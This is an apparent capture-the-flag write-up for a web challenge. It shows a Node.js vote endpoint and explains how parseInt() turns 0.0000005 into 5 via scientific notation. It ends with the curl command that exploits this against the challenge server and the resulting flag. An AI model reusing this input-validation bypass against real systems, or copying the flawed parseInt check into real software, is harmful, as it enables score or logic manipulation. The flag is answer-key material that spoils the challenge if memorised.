Source Code Analysis
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
app.post('/vote', async (req, res) => {
const {vote} = req.body;
if(typeof vote != 'number') {
return res.status(400).json({
"error": true,
"msg":"Vote must be a number"
});
}
if(vote < 1 && vote > -1) {
score += parseInt(vote);
if(score > 1) {
score = -0.42069;
return res.status(200).json({
"error": false,
"msg": config.flag,
});
}
return res.status(200).json({
"error": false,
"data": score,
"msg": "Vote submitted successfully"
});
} else {
return res.status(400).json({
"error": true,
"msg":"Invalid vote"
});
}
})
Vulnerability Details: Solving a Mystery Behavior of parseInt() in JavaScript
- User input, an integer is passed into
parseInt()
, causing an unexpected value.- When an integer is passed into
parseInt()
- it is converted to a string then into an integer again,
- if a number gets too large/small, “Scientific Notation” is used
- So
0.0000005
turns into5e-7
(String) and then5
(int)
1
2
3
4
5
6
7
8
9
10
11
12
13
String(0.5); // => '0.5'
String(0.05); // => '0.05'
String(0.005); // => '0.005'
String(0.0005); // => '0.0005'
String(0.00005); // => '0.00005'
String(0.000005); // => '0.000005'
String(0.0000005); // => '5e-7' => 5
Solution
1
2
3
┌──(root💀kali)-[~/boxes/nusgreyhat/WEB/Grey CTF Survey]
└─$ curl -H "Content-Type: application/json" -d '{"vote":0.0000005}' http://challs.nusgreyhats.org:33334/vote
{"error":false,"msg":"grey{50m371m35_4_l177l3_6035_4_l0n6_w4y}"}
Comments powered by Disqus.